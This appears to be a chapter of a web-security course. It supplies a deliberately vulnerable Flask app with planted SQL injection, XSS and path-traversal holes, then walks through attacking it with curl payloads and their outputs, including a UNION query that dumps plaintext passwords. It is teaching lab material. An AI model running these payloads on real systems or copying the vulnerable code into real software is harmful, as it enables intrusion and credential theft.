Step 155. ★ Project — Independent Assault on a Vulnerable Web Target, with a Report
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 4 hours
Prerequisites: Steps 131~153 — the full journey through login/session implementation, Burp, SQLi, XSS, CSRF, upload, LFI, command injection, authentication attacks, and 32 problems across DVWA, Juice Shop, and DreamHack.
- What you need: Python 3 + Flask, curl, a notepad (or your personal wiki). If you want a bigger target: a VulnHub web machine or a TryHackMe web room — but only one you haven’t solved yet.
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- This chapter is a test — the mini target this book provides has several vulnerabilities planted in it, but it won’t tell you where or what they are. You find them.
Every web exercise so far was a practice ground with "today’s vulnerability" decided in advance. The SQLi chapter had SQLi; the XSS chapter had XSS. The field is different — a target doesn’t tell you its weaknesses. This project’s goal is to analyze a web target whose vulnerabilities you don’t know, alone, from start to finish. Recon → feature mapping → hypothesis → verification → report — these five steps are the actual daily work of bug bounties and penetration tests.
This book provides a practice mini target, mini_target.py. It has multiple vulnerabilities planted in it, and it won’t tell you how many either (hint: more than 2). Finding them all and weaving them into a report is today’s completion condition.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Carry out the recon → feature mapping → hypothesis → verification sequence on an unknown web target, on your own
- Build an endpoint list with path brute-forcing and exhaustively survey the input points
- Write an "internal behavior guess" for each input point to prioritize vulnerability hypotheses
- Record each discovered vulnerability in a report using the "location | reproduction steps | payload | impact | defense suggestion" format
- Apply the checklist for when no vulnerability is visible (re-search paths → re-check parameters → check the authenticated area)
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 + Flask (target server), curl, 2 terminals |
| Today’s commands | curl (various payloads), a path brute-force script; sqlite3 (peeking for verification is forbidden — the attacker can’t see the DB) |
| Concepts needed | All attack types from Steps 135~146, the 5 steps of independent analysis, the 5-field report format |
| Today’s artifact | mini-target-assault-report.md — one report containing at least 2 vulnerabilities |
2-1. The Five Steps of Independent Analysis
The difference between a practice ground and the field is "who decides the order." In the field, you do.
① Recon — scrape every path/endpoint to draw a map
② Feature mapping — write an "internal behavior guess" for each input point (form, parameter, cookie)
③ Hypothesis — pull vulnerability candidates from the guesses and rank them by likelihood
④ Verification — throw the smallest detection payload first to test each hypothesis
⑤ Report — document everything, successes and failures alike
Spending half your time in ①~③ is normal. Beginners start at ④ and throw payloads at random; pros draw the map first.
2-2. The Feature-Mapping Table — Why Write Guesses in Words
For each input point, write one line: "what might this input do inside the server?"
| Input point | Internal behavior guess | Vulnerability hypothesis |
|---|---|---|
/search?q= |
Probably queries the DB with the search term | SQLi |
/hello?name= |
Probably prints the name on screen as-is | XSS |
/view?page= |
Probably reads a file and shows it | LFI |
This table’s power is that it sets the verification order. Guesses in writing make experiments systematic; without them, they’re flailing.
2-3. Hypothesis Verification Order — Most Frequently Broken First
You don’t test every hypothesis at once. The recommended order at the introductory stage:
SQLi (error messages give clues) → XSS (reflection confirms in one shot)
→ LFI (reaction to path-traversal characters) → command injection → upload → auth bypass
Each hypothesis has a detection payload — a minimal test like a single ', a single <b>x</b>, a single ../, that only checks "does the engine execute my input?" Only when detection succeeds do you move to the real payload.
2-4. The 5-Field Report Format
Five fields per finding (the web version of Step 128’s four-field format).
- Location: (URL and parameter)
- Reproduction steps: (a sequence that produces the same result for anyone who follows it)
- Payload: (the successful input, verbatim)
- Impact: (what an attacker gains with this)
- Defense suggestion: (how to fix it)
With "impact" and "defense suggestion," it’s a report; without them, it’s a solving diary.
3. Follow Along
3-1. Installing and Starting the Mini Target
Below is today’s target. Do not read the source — in the field, the attacker doesn’t know the source. Save it as a file and run it right away (resisting the urge to read is also training; verification is black-box).
# mini_target.py
import sqlite3, os
from flask import Flask, request, g
app = Flask(__name__)
DB = "mini_target.db"
USERS = [("admin", "sup3r-secret-pw"), ("guest", "guest123")]
ITEMS = [("flag", "flag{m1ni_t4rget_pwned}"), ("notice", "test notice data")]
def get_db():
if "db" not in g:
g.db = sqlite3.connect(DB)
return g.db
@app.teardown_appcontext
def close_db(exc):
db = g.pop("db", None)
if db is not None:
db.close()
def init_db():
conn = sqlite3.connect(DB)
cur = conn.cursor()
cur.execute("DROP TABLE IF EXISTS users")
cur.execute("DROP TABLE IF EXISTS items")
cur.execute("CREATE TABLE users (name TEXT, pw TEXT)")
cur.execute("CREATE TABLE items (name TEXT, content TEXT)")
cur.executemany("INSERT INTO users VALUES (?, ?)", USERS)
cur.executemany("INSERT INTO items VALUES (?, ?)", ITEMS)
conn.commit(); conn.close()
@app.route("/")
def index():
return ("mini target server\n - /search?q= product search\n"
" - /login login (POST name,pw)\n - /view?page= view page\n")
@app.route("/search")
def search():
q = request.args.get("q", "")
cur = get_db().cursor()
try:
cur.execute("SELECT name, content FROM items WHERE name LIKE '%" + q + "%'")
rows = cur.fetchall()
return "\n".join(f"{n}: {c}" for n, c in rows) or "(no results)\n"
except sqlite3.Error as e:
return f"DB error: {e}\n", 500
@app.route("/hello")
def hello():
name = request.args.get("name", "anonymous")
return f"<h1>Hello, {name}!</h1>"
PAGES = {"main": "main page body", "news": "news body"}
@app.route("/view")
def view():
page = request.args.get("page", "main")
path = os.path.join("pages", page + ".txt")
if page in PAGES:
return PAGES[page] + "\n"
try:
with open(path, encoding="utf-8") as f:
return f.read()
except OSError as e:
return f"file not found: {e}\n", 404
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "GET":
return "send name, pw via POST\n"
name = request.form.get("name", "")
pw = request.form.get("pw", "")
cur = get_db().cursor()
cur.execute("SELECT * FROM users WHERE name=? AND pw=?", (name, pw))
if cur.fetchone():
return f"Welcome, {name}\n"
return "login failed\n", 401
if __name__ == "__main__":
init_db()
app.run(host="127.0.0.1", port=5496)
Run: python mini_target.py → visit http://127.0.0.1:5496/ and if the guide shows, you’re ready. In the same folder, create a secret.txt and write a recognizable phrase in it (e.g., if you can read this file, it worked) — you’ll know why once you find it.
From here on is a spoiler zone. Below is the answer key for what you should have found on your own, and a progress example to compare against when stuck. First run ①~⑤ alone, and open each section only when you’re stuck.
3-2. ① Recon — Path Brute-Forcing
Check whether there are hidden paths beyond the 3 the index told you about. A 10-line gobuster substitute:
import urllib.request, urllib.error
words = ["admin", "login", "search", "view", "hello",
"backup", "test", "api", "secret", "config"]
for w in words:
try:
r = urllib.request.urlopen("http://127.0.0.1:5496/" + w)
print(f"/{w:10s} {r.status}")
except urllib.error.HTTPError as e:
if e.code != 404:
print(f"/{w:10s} {e.code}")
Output (measured 2026-09-09):
/login 200
/search 200
/view 200
/hello 200
How to read it: /hello is a path the index never mentioned — the moment recon widened the map. In the field, wordlists run tens of thousands of words, and this step takes minutes.
3-3. ②③ Feature Mapping and Hypotheses — Filling the Table
Organize the input points you found into a table. The guesses go like this — /search is "finds something by name = DB query," /hello is "reflects input to the screen," /view is "reads a page file," /login is "checks credentials." The hypotheses are exactly the table in 2-2.
3-4. ④ Verification — SQLi First
The detection payload is a single quote.
curl -s "http://127.0.0.1:5496/search?q=%27"
Output (measured 2026-09-09):
DB error: unrecognized token: "'"
How to read it: a confession that my input went inside a DB query — the server reported its own vulnerability via an error message. Now match the column count and continue into UNION.
curl -s "http://127.0.0.1:5496/search?q=%25%27%20UNION%20SELECT%201--%20"
# → DB error: SELECTs to the left and right of UNION do not have the same number of result columns
curl -s "http://127.0.0.1:5496/search?q=%25%27%20UNION%20SELECT%201,2--%20"
Output (measured 2026-09-09, second command):
1: 2
flag: flag{m1ni_t4rget_pwned}
notice: test notice data
Two columns matched (1: 2), and the original search results follow below — and there, the flag is already exposed. Go deeper and other tables read too (exactly the UNION extraction you learned in Step 136):
curl -s "http://127.0.0.1:5496/search?q=%25%27%20UNION%20SELECT%20name,pw%20FROM%20users--%20"
Output (measured 2026-09-09):
admin: sup3r-secret-pw
flag: flag{m1ni_t4rget_pwned}
guest: guest123
notice: test notice data
How did we know the table name users? In the field you’d read sqlite_master first (Step 136). This time, the textbook guess (users, accounts, members…) worked.
3-5. ④ Verification — XSS and LFI
A reflection test on /hello:
curl -s "http://127.0.0.1:5496/hello?name=%3Cscript%3Ealert(1)%3C/script%3E"
Output (measured 2026-09-09):
<h1>Hello, <script>alert(1)</script>!</h1>
The tag comes through without escaping — if a browser opened this response, the script would execute.
A path-traversal test on /view. From the guess that the value after page= becomes a filename:
curl -s "http://127.0.0.1:5496/view?page=../secret"
Output (measured 2026-09-09):
DB password: sup3r-secret-pw
(At measurement time, the phrase written in secret.txt read out as-is — your output will show the phrase you wrote.) Even with the restriction that .txt is appended automatically, every txt file is readable — if source code, config backups, or logs are txt, it’s over.
3-6. ⑤ Report — Findings into a Document
Confirming a login with the stolen account completes the chain of evidence.
curl -s -X POST -d "name=admin&pw=sup3r-secret-pw" http://127.0.0.1:5496/login
# → Welcome, admin
curl -s -o /dev/null -w "%{http_code}\n" -X POST -d "name=admin&pw=wrong" http://127.0.0.1:5496/login
# → 401
Output (measured 2026-09-09): the two results above (Welcome, admin / 401) are the contrast evidence that "the stolen credentials actually work." Now fill in 2-4’s 5-field format — see Section 5’s model answer for a completed example of the format.
Even when performing this project on an external target (a VulnHub machine, a THM room), the procedure is the same — gobuster replaces the path brute-force and Burp replaces the input-point collection (Screen example).
4. Missions & Exercises
Mission — Independent Assault on the Mini Target + Report
- Start
mini_target.pywithout reading the source (no punishment if you did — but your skill grows that much less) - Find at least 1 path not in the index via recon, and build an exhaustive input-point list
- Complete the feature-mapping table (input point → internal behavior guess → hypothesis)
- Verify at least 2 vulnerabilities from detection payload through the real payload
- Record every finding in
mini-target-assault-report.mdin the 5-field format (location | reproduction steps | payload | impact | defense suggestion) — every claim must carry a curl output quote
Exercises
Exercise 1. Explain why independent analysis starts at ① recon rather than ④ verification, using the difference between "flailing and system."
Exercise 2. Why must detection payloads (', <b>x</b>, ../) be "minimal tests"? What problem arises if you throw the real payload from the start?
Exercise 3. In 3-4, what information did the server’s error message (DB error: ...) give the attacker, and how should a defender block this?
Exercise 4. From the reader’s (decision-maker’s) perspective, explain why a report without an "impact" field becomes a solving diary instead of a report.
5. Model Answers & Completion Criteria
Mission Model Answer
The mini target has 4 vulnerabilities planted: SQLi (/search), Reflected XSS (/hello), LFI (/view), and plaintext storage/exposure of weak credentials (plaintext passwords in the users table — revealed when chained with SQLi). A completed example of one report entry:
### Finding 1: Full user-table exfiltration via SQL injection [Critical]
- Location: GET /search?q=
- Reproduction steps:
1. Enter ' in q → DB error: unrecognized token: "'" (confirms input is inserted directly into the query)
2. Enter %' UNION SELECT 1,2-- in q → confirms 2 columns, response prints "1: 2"
3. Enter %' UNION SELECT name,pw FROM users-- in q → full account exfiltration
- Payload: %' UNION SELECT name,pw FROM users--
- Evidence: response contains "admin: sup3r-secret-pw". POST /login with those credentials succeeds ("Welcome, admin").
- Impact: theft of all account passwords (plaintext), admin login, exposure of hidden data (flag)
- Defense suggestion: use parameter binding instead of string concatenation, suppress detailed error messages,
store passwords hashed
How to verify: ① are at least 2 vulnerabilities recorded in the 5-field format? ② does following the reproduction steps produce the same output (re-run them yourself to verify)? ③ does each finding have "impact" and "defense suggestion"? ④ how many did you find before looking at the source — that number is today’s pure skill.
Exercise Answers
Answer 1. Starting at verification means having no list of "what to test," so you only poke what’s visible and never examine the invisible input points. Only after recon draws the map and mapping builds hypotheses does verification become an "exhaustive survey." Flailing is finding one hole by chance; system is testing everything that could break, without omission.
Answer 2. A real payload works only when the hypothesis is right, so when it fails you can’t tell "was the hypothesis wrong, or was the payload syntax wrong?" A detection payload is the minimal test that makes that distinction possible — if a single ' produces a DB error, the hypothesis is confirmed, and every failure after that is a payload-polishing problem. Going from small tests up is the basics of debugging.
Answer 3. The error message gave ① the fact that input went into a query, ② the DB type (sqlite’s distinctive phrasing), ③ clues about the query structure — a hypothesis-confirmation button for the attacker. The defender must not show detailed errors to users; swap them for a generic message ("temporary error") and leave the details only in server logs.
Answer 4. A report’s reader must answer "so how dangerous is it, and what do we fix?" to allocate budget and staff. Without an impact field, the reader must translate technical facts into risk ratings themselves — and that translation usually ends in underestimation. A document with only reproduction and payloads is a diary saying "look how I broke in"; with impact and defense attached, it becomes a report saying "please fix it like this."
Completion Criteria Checklist
- [ ] I started the assault black-box, without reading the source
- [ ] I found a path not in the index via path brute-forcing
- [ ] I completed the feature-mapping table (input point → guess → hypothesis)
- [ ] I verified step by step, starting from detection payloads
- [ ] I recorded at least 2 vulnerabilities in the 5-field format
- [ ] Every claim carries a curl output quote
- [ ] Mission: one completed
mini-target-assault-report.md
6. Common Pitfalls & Fixes
Wall 1. The server won’t start — OSError: [WinError 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted
Cause: a previously launched server is holding port 5496 (message measured 2026-09-09).
Fix: kill the server in the previous terminal with Ctrl+C, or change the port (app.run(port=5497)). A port isn’t a variable; it’s an address — just as two households can’t live at one address.
Wall 2. I sent a UNION and got SELECTs to the left and right of UNION do not have the same number of result columns
Cause: the left and right SELECTs have different column counts (message measured 2026-09-09).
Fix: increase one at a time — UNION SELECT 1 → 1,2 → 1,2,3. The moment the error disappears is the column count. This error isn’t a failure; it’s a hint telling you the answer.
Wall 3. I entered a quote and no error appears
Cause: you didn’t URL-encode, so the browser/curl sent the character differently — or the parameter may genuinely be safe.
Fix: make URL-encoding special characters a habit (' → %27, space → %20). If there’s still no response, shelve that input point for now and move to the next — returning to the recon table is the right order.
Wall 4. I can’t see a single vulnerability
Cause: most cases are shallow recon, a missed parameter, or an unexamined post-auth area.
Fix: the checklist — ① did you scrape more paths (rerun with a bigger wordlist)? ② did you test every parameter (including cookies and headers)? ③ is there an area that requires login? If you did all three and still nothing, that’s also a valid observation — "the surface is hard" — and you write it in the report as such.
Wall 5. I read the source first and assaulted it — it was no fun
Cause: like taking an exam with the answer key on the back already read.
Fix: mark findings you found after reading the source with (found after checking source) in the report — honest separation prepares you for the next real exam. Once you’ve been through it, now compare against the source and review "what my recon missed." That comparison becomes your eye on the next target.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| 5 steps of independent analysis | Recon → feature mapping → hypothesis → verification → report |
| Feature-mapping table | Input points + internal behavior guesses + hypotheses — the map that sets verification order |
| Detection payload | Minimal input that tests only the hypothesis (', <b>, ../) |
| Black-box | Analyzing with only inputs and outputs, source unknown — the field default |
| Report’s 5 fields | Location |
| Chain of evidence | The connection from vulnerability found → data stolen → successful login with that data |
Today’s Commands & Tools
| Command/tool | What it does |
|---|---|
curl -s "URL?q=%27" |
SQLi detection (single-quote test) |
...UNION SELECT 1,2-- |
Confirm column count → extract tables |
| Path brute-force script | Find hidden endpoints |
curl -s -X POST -d "..." |
POST verification such as logins |
mini_target.py |
Today’s black-box target (4 vulnerabilities) |
An Instinct More Important Than Commands
Today you crossed over from "someone who applies learned techniques" to "someone who decides for themselves what to apply." What makes that transition possible isn’t memorizing techniques but procedure — the habit of drawing a map, writing down guesses, and throwing the smallest test first. And you reconfirmed that the final output of this procedure isn’t a shell but a report. On the next target (an external machine, a bug-bounty scope), these five steps won’t change by a single letter. Trust the procedure — the procedure catches you in the moments you’re stuck.
Once every box is checked, Step 155 is complete. Click the checkbox in the sidebar to save your progress.